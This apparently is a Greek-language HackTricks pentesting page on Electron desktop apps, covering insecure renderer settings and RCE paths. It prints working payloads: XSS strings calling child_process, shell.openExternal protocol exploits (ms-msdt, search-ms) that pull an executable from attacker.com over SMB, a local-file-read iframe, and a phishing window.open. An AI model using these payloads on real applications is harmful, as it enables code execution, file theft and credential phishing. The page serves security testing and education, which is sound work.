Electron Desktop Apps

Support HackTricks

Εισαγωγή

Το Electron συνδυάζει ένα τοπικό backend (με NodeJS) και ένα frontend (Chromium), αν και του λείπουν ορισμένοι από τους μηχανισμούς ασφαλείας των σύγχρονων προγραμμάτων περιήγησης.

Συνήθως μπορεί να βρείτε τον κώδικα της εφαρμογής electron μέσα σε μια εφαρμογή .asar, προκειμένου να αποκτήσετε τον κώδικα πρέπει να τον εξαγάγετε:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

Στον πηγαίο κώδικα μιας εφαρμογής Electron, μέσα στο packet.json, μπορείτε να βρείτε καθορισμένο το αρχείο main.js όπου έχουν ρυθμιστεί οι ρυθμίσεις ασφαλείας.

{
"name": "standard-notes",
"main": "./app/index.js",

Electron έχει 2 τύπους διαδικασιών:

  • Κύρια Διαδικασία (έχει πλήρη πρόσβαση στο NodeJS)

  • Διαδικασία Απόδοσης (θα πρέπει να έχει περιορισμένη πρόσβαση στο NodeJS για λόγους ασφαλείας)

Μια διαδικασία απόδοσης θα είναι ένα παράθυρο προγράμματος περιήγησης που φορτώνει ένα αρχείο:

const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);

Ρυθμίσεις της διαδικασίας απόδοσης μπορούν να ρυθμιστούν στη κύρια διαδικασία μέσα στο αρχείο main.js. Ορισμένες από τις ρυθμίσεις θα αποτρέψουν την εφαρμογή Electron να αποκτήσει RCE ή άλλες ευπάθειες αν οι ρυθμίσεις είναι σωστά ρυθμισμένες.

Η εφαρμογή electron μπορεί να έχει πρόσβαση στη συσκευή μέσω των Node APIs αν και μπορεί να ρυθμιστεί για να το αποτρέψει:

  • nodeIntegration - είναι off από προεπιλογή. Αν είναι ενεργοποιημένο, επιτρέπει την πρόσβαση σε χαρακτηριστικά του node από τη διαδικασία απόδοσης.

  • contextIsolation - είναι on από προεπιλογή. Αν είναι απενεργοποιημένο, οι κύριες και οι διαδικασίες απόδοσης δεν είναι απομονωμένες.

  • preload - κενό από προεπιλογή.

  • sandbox - είναι απενεργοποιημένο από προεπιλογή. Θα περιορίσει τις ενέργειες που μπορεί να εκτελέσει το NodeJS.

  • Ενοποίηση Node σε Εργάτες

  • nodeIntegrationInSubframes - είναι off από προεπιλογή.

  • Αν η nodeIntegration είναι ενεργοποιημένη, αυτό θα επιτρέψει τη χρήση των Node.js APIs σε ιστοσελίδες που είναι φορτωμένες σε iframes μέσα σε μια εφαρμογή Electron.

  • Αν η nodeIntegration είναι απενεργοποιημένη, τότε τα preload θα φορτωθούν στο iframe.

Παράδειγμα ρύθμισης:

const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};

Ορισμένα RCE payloads από εδώ:

Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">

Capture traffic

Τροποποιήστε τη ρύθμιση start-main και προσθέστε τη χρήση ενός proxy όπως:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Electron Local Code Injection

Αν μπορείτε να εκτελέσετε το Electron App τοπικά, είναι πιθανό να μπορέσετε να το κάνετε να εκτελεί αυθαίρετο κώδικα javascript. Δείτε πώς στο:

macOS Electron Applications Injection

RCE: XSS + nodeIntegration

Αν το nodeIntegration είναι ρυθμισμένο σε on, το JavaScript μιας ιστοσελίδας μπορεί να χρησιμοποιήσει εύκολα τις δυνατότητες του Node.js απλά καλώντας το require(). Για παράδειγμα, ο τρόπος εκτέλεσης της εφαρμογής calc στα Windows είναι:

<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>

RCE: preload

Το σενάριο που υποδεικνύεται σε αυτή τη ρύθμιση είναι loaded πριν από άλλα σενάρια στον renderer, έτσι έχει απεριόριστη πρόσβαση στα Node APIs:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Επομένως, το σενάριο μπορεί να εξάγει node-features σε σελίδες:

preload.js
typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};
index.html
<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>

Αν το contextIsolation είναι ενεργοποιημένο, αυτό δεν θα λειτουργήσει

RCE: XSS + contextIsolation

Η contextIsolation εισάγει τους χωριστούς χώρους μεταξύ των σεναρίων της ιστοσελίδας και του εσωτερικού κώδικα JavaScript του Electron έτσι ώστε η εκτέλεση JavaScript κάθε κώδικα να μην επηρεάζει η μία την άλλη. Αυτή είναι μια απαραίτητη δυνατότητα για την εξάλειψη της πιθανότητας RCE.

Αν οι χώροι δεν είναι απομονωμένοι, ένας επιτιθέμενος μπορεί να:

  1. Εκτελέσει τυχαίο JavaScript στον renderer (XSS ή πλοήγηση σε εξωτερικές τοποθεσίες)

  2. Αντικαταστήσει τη встроμένη μέθοδο που χρησιμοποιείται στον preload ή στον εσωτερικό κώδικα του Electron με τη δική του συνάρτηση

  3. Ενεργοποιήσει τη χρήση της αντικατεστημένης συνάρτησης

  4. RCE;

Υπάρχουν 2 μέρη όπου οι встроμένες μέθοδοι μπορούν να αντικατασταθούν: Στον κώδικα preload ή στον εσωτερικό κώδικα του Electron:

Electron contextIsolation RCE via preload codeElectron contextIsolation RCE via Electron internal codeElectron contextIsolation RCE via IPC

Παράκαμψη γεγονότος κλικ

Αν υπάρχουν περιορισμοί που εφαρμόζονται όταν κάνετε κλικ σε έναν σύνδεσμο, μπορεί να είστε σε θέση να τους παρακάμψετε κάνοντας ένα μεσαίο κλικ αντί για ένα κανονικό αριστερό κλικ.

window.addEventListener('click', (e) => {

RCE μέσω του shell.openExternal

Για περισσότερες πληροφορίες σχετικά με αυτά τα παραδείγματα, ελέγξτε https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 και https://benjamin-altpeter.de/shell-openexternal-dangers/

Κατά την ανάπτυξη μιας εφαρμογής Electron desktop, η διασφάλιση των σωστών ρυθμίσεων για το nodeIntegration και το contextIsolation είναι κρίσιμη. Είναι αποδεδειγμένο ότι η εκτέλεση απομακρυσμένου κώδικα (RCE) από την πλευρά του πελάτη που στοχεύει σε preload scripts ή στον εγγενή κώδικα του Electron από τη βασική διαδικασία αποτρέπεται αποτελεσματικά με αυτές τις ρυθμίσεις σε εφαρμογή.

Κατά την αλληλεπίδραση ενός χρήστη με συνδέσμους ή το άνοιγμα νέων παραθύρων, ενεργοποιούνται συγκεκριμένοι ακροατές γεγονότων, οι οποίοι είναι κρίσιμοι για την ασφάλεια και τη λειτουργικότητα της εφαρμογής:

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

Αυτοί οι ακροατές είναι υπερκαλυμμένοι από την επιτραπέζια εφαρμογή για να υλοποιήσουν τη δική τους επιχειρηματική λογική. Η εφαρμογή αξιολογεί αν ένας πλοηγημένος σύνδεσμος θα πρέπει να ανοιχτεί εσωτερικά ή σε έναν εξωτερικό φυλλομετρητή ιστού. Αυτή η απόφαση συνήθως λαμβάνεται μέσω μιας συνάρτησης, openInternally. Αν αυτή η συνάρτηση επιστρέψει false, υποδεικνύει ότι ο σύνδεσμος θα πρέπει να ανοιχτεί εξωτερικά, χρησιμοποιώντας τη συνάρτηση shell.openExternal.

Εδώ είναι ένας απλοποιημένος ψευδοκώδικας:

Οι καλύτερες πρακτικές ασφαλείας του Electron JS προειδοποιούν κατά της αποδοχής μη αξιόπιστου περιεχομένου με τη συνάρτηση openExternal, καθώς αυτό θα μπορούσε να οδηγήσει σε RCE μέσω διαφόρων πρωτοκόλλων. Τα λειτουργικά συστήματα υποστηρίζουν διαφορετικά πρωτόκολλα που μπορεί να προκαλέσουν RCE. Για λεπτομερείς παραδείγματα και περαιτέρω εξηγήσεις σχετικά με αυτό το θέμα, μπορεί κανείς να ανατρέξει σε αυτή την πηγή, η οποία περιλαμβάνει παραδείγματα πρωτοκόλλων Windows ικανά να εκμεταλλευτούν αυτή την ευπάθεια.

Παραδείγματα εκμετάλλευσης πρωτοκόλλων Windows περιλαμβάνουν:

<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>

<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update")
</script>

<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>

Ανάγνωση Εσωτερικών Αρχείων: XSS + contextIsolation

Η απενεργοποίηση του contextIsolation επιτρέπει τη χρήση των <webview> tags, παρόμοια με τα <iframe>, για την ανάγνωση και εξαγωγή τοπικών αρχείων. Ένα παράδειγμα που παρέχεται δείχνει πώς να εκμεταλλευτείτε αυτήν την ευπάθεια για να διαβάσετε το περιεχόμενο εσωτερικών αρχείων:

Επιπλέον, μια άλλη μέθοδος για την ανάγνωση ενός εσωτερικού αρχείου κοινοποιείται, επισημαίνοντας μια κρίσιμη ευπάθεια ανάγνωσης τοπικών αρχείων σε μια εφαρμογή Electron desktop. Αυτό περιλαμβάνει την εισαγωγή ενός script για την εκμετάλλευση της εφαρμογής και την εξαγωγή δεδομένων:

<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>

RCE: XSS + Παλιός Chromium

Αν ο chromium που χρησιμοποιείται από την εφαρμογή είναι παλιός και υπάρχουν γνωστές ευπάθειες σε αυτόν, μπορεί να είναι δυνατό να εκμεταλλευτείτε και να αποκτήσετε RCE μέσω ενός XSS. Μπορείτε να δείτε ένα παράδειγμα σε αυτή τη γραφη: https://blog.electrovolt.io/posts/discord-rce/

XSS Phishing μέσω παράκαμψης regex εσωτερικού URL

Υποθέτοντας ότι βρήκατε ένα XSS αλλά δεν μπορείτε να ενεργοποιήσετε RCE ή να κλέψετε εσωτερικά αρχεία, θα μπορούσατε να προσπαθήσετε να το χρησιμοποιήσετε για να κλέψετε διαπιστευτήρια μέσω phishing.

Πρώτα απ' όλα, πρέπει να γνωρίζετε τι συμβαίνει όταν προσπαθείτε να ανοίξετε μια νέα διεύθυνση URL, ελέγχοντας τον κωδικό JS στο front-end:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

Η κλήση στο openInternally θα αποφασίσει αν το link θα ανοίξει στο παράθυρο επιφάνειας εργασίας καθώς είναι ένα link που ανήκει στην πλατφόρμα, ή αν θα ανοίξει στον φυλλομετρητή ως πόρος τρίτου μέρους.

Στην περίπτωση που η regex που χρησιμοποιείται από τη συνάρτηση είναι ευάλωτη σε παρακάμψεις (για παράδειγμα, μη διαφεύγοντας τις τελείες των υποτομέων), ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί το XSS για να ανοίξει ένα νέο παράθυρο το οποίο θα βρίσκεται στην υποδομή του επιτιθέμενου ζητώντας διαπιστευτήρια από τον χρήστη:

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

Εργαλεία

  • Electronegativity είναι ένα εργαλείο για την αναγνώριση κακών ρυθμίσεων και αντιανασφαλιστικών προτύπων σε εφαρμογές βασισμένες σε Electron.

  • Electrolint είναι ένα ανοιχτού κώδικα πρόσθετο για το VS Code για εφαρμογές Electron που χρησιμοποιεί το Electronegativity.

  • nodejsscan για να ελέγξετε για ευάλωτες βιβλιοθήκες τρίτων.

  • Electro.ng: Πρέπει να το αγοράσετε.

Εργαστήρια

Στο https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s μπορείτε να βρείτε ένα εργαστήριο για την εκμετάλλευση ευάλωτων εφαρμογών Electron.

Ορισμένες εντολές που θα σας βοηθήσουν με το εργαστήριο:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Αναφορές

Υποστήριξη HackTricks

Last updated